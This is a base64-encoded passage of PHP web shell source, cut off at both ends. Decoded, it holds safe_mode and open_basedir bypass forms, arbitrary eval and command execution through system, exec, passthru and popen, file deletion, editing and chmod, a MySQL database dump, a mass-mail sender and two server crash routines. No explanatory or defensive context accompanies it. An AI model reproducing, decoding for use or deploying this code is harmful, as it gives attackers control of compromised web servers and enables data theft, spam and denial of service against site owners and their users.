JieXBhc3NkaXIiPjwvZm9ybT48aHI+QnlwYXNzIFdpdGggaW5pX3Jlc3RvcmUnLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBGaWxlIj48aW5wdXQgbmFtZT1yZmlsaSB2YWx1ZT0iUGVqaWpvbiIgdHlwZT1oaWRkZW4+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjxocj5CeXBhc3MgV2l0aCBTeW1saW5rIFdvcmtlZCBJbiA1LngueCA1LjIuMTEgV2l0aCBCdWcgU3ltbGluazx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXN5bWwgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJSZWFkIEZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjxpbnB1dCBuYW1lPXJmaWxpIHZhbHVlPSJQZWppam9uIiB0eXBlPWhpZGRlbj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPicuJGZvcm1wLidCeXBhc3MgU2FmZSBBbmQgT3Blbl9iYXNlZGlyIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIDQueC54IC4uLiA1LjIuOTx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXBjdSBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9IlJlYWQgRmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPicuJGVuZDtleGl0OzsNCg0KDQoNCg0KfQ0KZnVuY3Rpb24gcHJpbnRkcml2ZSgpew0KZ2xvYmFsICRzbGFzaDsNCmZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICR0ZW1wZHJpdmUpIHsNCmlmIChpc19kaXIoJHRlbXBkcml2ZS4iOiIuJHNsYXNoKSl7DQokYWRyaT0kdGVtcGRyaXZlLiI6Ii4kc2xhc2g7DQokZHJpdmVhPSRkcml2ZWEuJzxhIGhyZWY9Ij9hZGRyZXNzPScuJGFkcmkuJyI+PGZvbnQgc2l6ZT0xPicuJHRlbXBkcml2ZS4nOicuJHNsYXNoLicgPC9hPjwvZm9udD4nOw0KfQ0KfQ0KcmV0dXJuICRkcml2ZWE7DQp9DQppZigkX1BPU1RbJ25hbWVyZW4nXSAmJiAkX1BPU1RbJ2FkZHJlc3NyZW4nXSl7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3NyZW4nXSkpew0KDQpyZW5hbWUoJF9QT1NUWydhZGRyZXNzcmVuJ10sJF9QT1NUWyduYW1lcmVuJ10pO2FsZXJ0KCJSZW5hbWUgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmKCRfR0VUWydkbyddPT0iZGVsZXRlIil7DQoNCmlmICgkX0dFVFsndHlwZSddPT0iZGlyIil7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3MnXSkpew0KJGRpcj0kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddOw0KZGVsZXRlRGlyZWN0b3J5KCRkaXIpOw0KYWxlcnQoIkRlbGV0ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn1lbHNlaWYoJF9HRVRbJ3R5cGUnXT09ImZpbGUiKXsNCmlmKGlzX3dyaXRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCnVubGluaygkX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddKTthbGVydCgiRGVsZXRlZCBTdWNjZXNzZnVsICEiKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KfQ0KfQ0KaWYoJF9QT1NUWydmZWRpdCddICYmICRfUE9TVFsnbmFtZWZlJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCg0KDQokb3BlbnNhdmU9Zm9wZW4oJF9QT1NUWydhZGRyZXNzJ10uJHNsYXNoLiRfUE9TVFsnbmFtZWZlJ10sInciKTsNCmZ3cml0ZSgkb3BlbnNhdmUsaHRtbF9lbnRpdHlfZGVjb2RlKCRfUE9TVFsnZmVkaXQnXSkpOw0KZmNsb3NlKCRvcGVuc2F2ZSk7YWxlcnQoIkZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmICgkX1BPU1RbJ2V2YWxzb3VyY2UnXSl7DQoNCmV2YWwoJF9QT1NUWydldmFsc291cmNlJ10pOw0KfQ0KaWYoJF9HRVRbJ2RvJ109PSJldmFsIil7DQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJldmFsc291cmNlIiBjb2xzPSI4NyI+PC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIGVYZWN1dGUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iaW5mbyIpew0KDQppZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpew0KJHJlZ2lzdGVyZz0iRW5hYmxlIjsNCn1lbHNlew0KJHJlZ2lzdGVyZz0iZGlzYWJsZSI7DQp9DQppZihleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpew0KJGN1cmxzPSJFbmFibGUiOw0KfWVsc2V7DQokY3VybHM9ImRpc2FibGUiOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKXsNCiRkYl9vbiA9ICJNeXNxbCA6IE9uIjsNCn07DQppZihAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jykpew0KJGRiX29uID0gIk1zc3FsIDogT24iOw0KfTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSl7DQokZGJfb24gPSAiUG9zdGdyZVNRTCA6IE9uIjsNCn07aWYoQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSl7DQokZGJfb24gPSAiT3JhY2xlIDogT24iOw0KfTsNCg0KZWNobyAkaGVhZC4iPGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz5PcGVyYXRpbmcgU3lzdGVtIDogIi5waHBfdW5hbWUoKS4iPGJyPlNlcnZlciBOYW1lIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIjxicj5EaXNhYmxlX0Z1bmN0aW9ucyA6ICIuJGRpc2FibGVmLiI8YnI+U2FmZV9Nb2RlIDogIi4kc2FmZV9tb2Rlcy4iPGJyPk9wZW5iYXNlX2RpciA6ICIuaW5pX2dldCgnb3BlbmJhc2VfZGlyJykuIjxicj5QaHAgVmVyc2lvbiA6ICIucGhwdmVyc2lvbigpLiI8YnI+RnJlZSBTcGFjZSA6ICIuc2l6ZWUoZGlza19mcmVlX3NwYWNlKCIvIikpLiI8YnI+VG90YWwgU3BhY2UgOiAiLnNpemVlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjxicj5SZWdpc3Rlcl9HbG9iYWxzIDogIi4kcmVnaXN0ZXJnLiI8YnI+Q3VybCA6ICIuJGN1cmxzLiI8YnI+RGF0YWJhc2UgIi4kZGJfb24uIjxicj5TZXJ2ZXIgTmFtZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI8YnI+QWRtaW4gU2VydmVyIDogIi4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uJGVuZDsNCmV4aXQ7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjbWQiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8dGV4dGFyZWEgcm93cz0iMTkiIG5hbWU9IlMxIiBjb2xzPSI4NyI+JzsNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD48cCBhbGlnbj0iY2VudGVyIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkbyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNTAiPjxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+DQo8L3NlbGVjdD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZVhlY3V0ZSI+DQo8L3A+PC9mb3JtPicuJGVuZDtleGl0O30NCmlmICgkX0dFVFsnZG8nXT09InN5bWxpbmsiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KU3ltTGluayBXaXRoIFBIUDxicj48aW5wdXQgbmFtZT1hZDFzeXAgc2l6ZT01MD4gVE8gPGlucHV0IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4ic3ltbGluay50eHQiLiciIG5hbWU9YWQyc3lwIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1TeW1MaW5rIT48aHI+PHAgYWxpZ249ImNlbnRlciI+PC9mb3JtPg0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj48cCBhbGlnbj0iY2VudGVyIj4NCg0KU3ltTGluayBXaXRoIE9TIDogPGJyPjxpbnB1dCBuYW1lPWFkMXN5YyBzaXplPTUwPiBUTyA8aW5wdXQgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiJzeW1saW5rLnR4dCIuJyIgbmFtZT1hZDJzeWMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVN5bUxpbmshPg0KPC9wPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZDFzeXAnXSAmJiAkX1BPU1RbJ2FkMnN5cCddKXsNCmlmIChzeW1saW5rKCRfUE9TVFsnYWQxc3lwJ10sJF9QT1NUWydhZDJzeXAnXSkpew0KYWxlcnQoIlN5bWxpbmsgV29ya2VkICEiKTsNCn1lbHNlew0KYWxlcnQoIlN5bWxpbmsgTm90IFdvcmtlZCAhIik7DQp9fQ0KaWYgKCRfUE9TVFsnYWQxc3ljJ10gJiYgJF9QT1NUWydhZDJzeWMnXSl7DQppZiAoc3lzdGVtKCdscyAtcyAnLiRfUE9TVFsnYWQxc3ljJ10uIiAiLiRfUE9TVFsnYWQyc3ljJ10pKXsNCmFsZXJ0KCJTeW1saW5rIFdvcmtlZCAhIik7DQp9ZWxzZXthbGVydCgiU3ltbGluayBOb3QgV29ya2VkICEiKTt9DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJkMHNsb2NhbCIpew0KZWNobyAkaGVhZC4nDQo8cCBhbGlnbj0iY2VudGVyIj5JZiBZb3UgQ2xpY2sgVGhpcyBMaW5rIFRoaXMgU2VydmVyIENyYXNoZWQuPGJyPlRoaXMgV29ya2VkIEluIFBocCA1LjMueCA6IDxhIGhyZWY9Ij9kb3N0aGlzc2VydmVyPTEiIHRhcmdldD0iX2JsYW5rIj48Zm9udCBzaXplPTQ+RG9zIFRoaXMgU2VydmVyIEkgQW0gU3VyZSA8L2ZvbnQ+PC9hPjxicj5UaGlzIFdvcmtlZCBJbiBQaHAgNC54LnggQW5kIDUuMi45IDogPGEgaHJlZj0iP2Rvc3RoaXNzZXJ2ZXI9MiIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IHNpemU9ND5Eb3MgVGhpcyBTZXJ2ZXIgSSBBbSBTdXJlIDwvYT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9HRVRbJ2Rvc3RoaXNzZXJ2ZXInXT09IjEiKXsNCmZ1bmN0aW9uIGRvc3NlcnZlcigpew0KJGp1bms9c3RyX3JlcGVhdCgiOTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTkiLDk5OTk5KTsNCmZvcigkaT0wOyRpPDI7KXsNCiRidWZmPWJjcG93KCRqdW5rLCAnMycsIDIpOw0KJGJ1ZmY9bnVsbDsNCn0NCn0NCmRvc3NlcnZlcigpOw0KfQ0KaWYgKCRfR0VUWydkb3N0aGlzc2VydmVyJ109PSIyIil7DQpmdW5jdGlvbiBjeCgpe2N4KCk7fQ0KIGN4KCk7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjb252ZXJ0Iil7DQokaGFzaD1udWxsOw0KaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nbWQ1Jyl7DQokaGFzaD1tZDUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn1lbHNlaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nc2gxJyl7DQokaGFzaD1zaGExKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2NyYzMyJyl7DQokaGFzaD1jcmMzMigkX0dFVFsnc3RyaW5ndG9oJ10pOw0KfWVsc2VpZiAoJF9HRVRbJ3N0cmluZ3RvaCddICYmICRfR0VUWydoYXNodG9oJ109PSdiNjRlJyl7DQokaGFzaD1iYXNlNjRfZW5jb2RlKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2I2NGQnKXsNCiRoYXNoPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn0NCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+Q29udmVydDxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT1jb252ZXJ0Pg0KPGlucHV0IG5hbWU9c3RyaW5ndG9oIHNpemU9NTg+PHNlbGVjdCBuYW1lPWhhc2h0b2g+DQo8b3B0aW9uIHZhbHVlPSJtZDUiPk1ENTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY3JjMzIiPkNSQzMyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzaGExIj5TSEExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJiNjRlIj5CYXNlNjQgRW5jb2RlITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iYjY0ZCI+QmFzZTY0IERlY29kZSE8L29wdGlvbj4NCjxicj48dGV4dGFyZWEgY29scz02MCByb3dzPTE4PicuJGhhc2guJzwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ29udmVydCI+DQoNCjwvcD48L2Zvcm0+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfR0VUWydkbyddPT0iZHVtcCIpew0KZWNobyAkaGVhZC4nPHAgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJzx0YWJsZSBib3JkZXI9MSB3aWR0aD00MDAgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiICBib3JkZXJjb2xvcj0jQzZDNkM2IGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0YyRjJGMj48cCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTIgY29sb3I9IzQzMzkzND5CYWNrdXAgRGF0YWJhc2U8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+REIgVHlwZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9MjUwIGJnY29sb3I9I0VBRUFFQT48Zm9ybSBtZXRob2Q9cG9zdCBhY3Rpb249IicuJG1lLiciPjxzZWxlY3QgbmFtZT1tZXRob2Q+PG9wdGlvbiB2YWx1ZT0iZ3ppcCI+R3ppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbCI+U3FsPC9vcHRpb24+IDwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+U2VydmVyOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0xNTAgYmdjb2xvcj0jRUFFQUVBPjxmb250IGZhY2U9QXJpYWwgc2l6ZT0yPlVzZXJuYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZSBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+RGF0YSBCYXNlIE5hbWU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0VBRUFFQT48Y2VudGVyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBEdW1wISAgIiA+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pew0KJGRhdGUgPSBkYXRlKCJZLW0tZCIpOw0KJGRic2VydmVyID0gJF9QT1NUWydzZXJ2ZXInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokZGJwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOw0KJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOw0KJG1ldGhvZCA9ICRfUE9TVFsnbWV0aG9kJ107DQppZiAoJG1ldGhvZD09J3NxbCcpew0KJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOw0KJGZwPWZvcGVuKCRmaWxlLCJ3Iik7DQp9ZWxzZXsNCiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsNCiRmcCA9IGd6b3BlbigkZmlsZSwidyIpOw0KfQ0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsNCmdsb2JhbCAkZnA7DQppZiAoJF9QT1NUWydtZXRob2QnXT09J3NxbCcpew0KZndyaXRlKCRmcCwkZGF0YSk7DQp9ZWxzZXsNCmd6d3JpdGUoJGZwLCAkZGF0YSk7DQp9fQ0KbXlzcWxfY29ubmVjdCAoJGRic2VydmVyLCAkZGJ1c2VyLCAkZGJwYXNzKTsNCm15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCiR0YWJsZXMgPSBteXNxbF9xdWVyeSAoIlNIT1cgVEFCTEVTIik7DQp3aGlsZSAoJGkgPSBteXNxbF9mZXRjaF9hcnJheSgkdGFibGVzKSkgew0KICAgICRpID0gJGlbJ1RhYmxlc19pbl8nLiRkYm5hbWVdOw0KICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheShteXNxbF9xdWVyeSAoIlNIT1cgQ1JFQVRFIFRBQkxFICIuJGkpKTsNCiAgICB3cml0ZSgkY3JlYXRlWydDcmVhdGUgVGFibGUnXS4iO1xuXG4iKTsNCiAgICAkc3FsID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgKiBGUk9NICIuJGkpOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkc3FsKSkgew0KICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkc3FsKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaiA9PiAkaykgew0KICAgICAgICAgICAgICAgICRyb3dbJGpdID0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJGspLiInIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdyaXRlKCJJTlNFUlQgSU5UTyAkaSBWQUxVRVMoIi5pbXBsb2RlKCIsIiwgJHJvdykuIik7XG4iKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmlmICgkbWV0aG9kPT0nc3FsJyl7DQpmY2xvc2UgKCRmcCk7DQp9ZWxzZXsNCmd6Y2xvc2UoJGZwKTt9DQpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiAkZmlsZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZSkpOw0KZmx1c2goKTsNCg0KJGZwID0gZm9wZW4oJGZpbGUsICJyIik7DQp3aGlsZSAoIWZlb2YoJGZwKSkNCnsNCiAgICBlY2hvIGZyZWFkKCRmcCwgNjU1MzYpOw0KICAgIGZsdXNoKCk7DQp9IA0KZmNsb3NlKCRmcCk7IA0KfQ0KDQppZiAoJF9HRVRbJ2RvJ109PSJtYWlsIil7DQplY2hvICRoZWFkLicNCjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCkFkZHJlc3MgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRtYWlsIiBzaXplPSI1MCI+PGJyPjxicj5TdWJqZWN0IDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN1Ym1haWwiIHNpemU9IjUwIj48YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPTcwIHJvd3M9MTggbmFtZT10ZXh0bWFpbD5UZXh0PC90ZXh0YXJlYT48YnI+PGJyPk51bWJlciBGb3IgU2VuZCA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1haWwiIHNpemU9IjUiIHZhbHVlPTE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNlbmQhPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZG1haWwnXSAmJiAkX1BPU1RbJ3N1Ym1haWwnXSApew0KZm9yKCRtaT0wOyRtaTxpbnR2YWwoJF9QT1NUWydudW1haWwnXSk7JG1pKyspew0KbWFpbCgkX1BPU1RbJ2FkbWFpbCddLCAkX1BPU1RbJ3N1Ym1haWwnXSwgJF9QT1NUWyd0ZXh0bWFpbCddKTt9DQp9DQppZigkX0dFVFsnZG8nXT09ImRiIil7DQplY2hvICRoZWFkO3NxbGNsaWVuVCgpO2VjaG8gJGVuZDsNCmV4aXQ7DQp9DQppZigkX1JFUVVFU1RbJ2ZpbGUyY2gnXSAmJiAkX1JFUVVFU1RbJ2NobW9kbm93J10pew0KJGNobW9kbnVtMj0kX1JFUVVFU1RbJ2NobW9kbm93J107DQpjaG1vZCgkX1JFUVVFU1RbJ2ZpbGUyY2gnXSwiMCIuJGNobW9kbnVtMik7DQp9DQppZigkX0dFVFsnZG8nXT09ImNobW9kIil7DQplY2hvICRoZWFkLiRmb3JtZy4kbm93YWRkcmVzcy4iPHAgYWxpZ249Y2VudGVyPjxiPkNobW9kPC9iPjxicj48aW5wdXQgc2l6ZT01MCBuYW1lPWZpbGUyY2ggdmFsdWU9JyIuJF9SRVFVRVNUWydhZGRyZXNzJ10uJF9SRVFVRVNUWydmaWxlbmFtZSddLiInPiBUbyAgPGlucHV0IG5hbWU9Y2htb2Rub3cgc2l6ZT0xIHZhbHVlPTc3Nz48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNldD48L2Zvcm0+Ii4kZW5kO2V4aXQ7DQoNCn0NCi8qIGlmKCRfR0VUWydkbyddPT0iZWRpdCIpew0KaWYoJF9HRVRbJ2ZpbGVuYW1lJ109PSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfR0VUWydhZGRyZXNzJ10pO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KDQp9fSAqLw0KJGFyYWRkcmVzc3M9ZXhwbG9kZSgkc2xhc2gsZ2V0Y3dkKCkpOw0KJG1hdGhhcnJheXk9Y291bnQoJGFyYWRkcmVzc3MpLTE7DQokYWRkcjFiYWNraz1zdHJfcmVwbGFjZSgkYXJhZGRyZXNzc1skbWF0aGFycmF5eV0sIiIsJGFyYWRkcmVzc3MpOw0KZm9yKCRjb3VudGJhY2s9MDskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGFycmF5YmFja2VbJGNvdW50YmFja109JHNsYXNoLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdOw0KJGJhY2tkaXJ1bml4eD0kYmFja2RpcnVuaXh4LiRzbGFzaC4kYWRkcjFiYWNra1skY291bnRiYWNrXTsNCn0NCmlmICgkc2xhc2g9PSJcXCIpew0KJGNvdW50YmFjaz1udWxsOw0KJGJhY2tkaXJ3aW49bnVsbDsNCmZvcigkY291bnRiYWNrPTE7JGNvdW50YmFjazxjb3VudCgkYWRkcjFiYWNrayk7JGNvdW50YmFjaysrKXsNCiRiYWNrZGlyd2luPSRiYWNrZGlyd2luLiJcXCIuJGFkZHIxYmFja2tbJGNvdW50YmFja107fQ0KJGJhY2tkaXJ3aW49JGFkZHIxY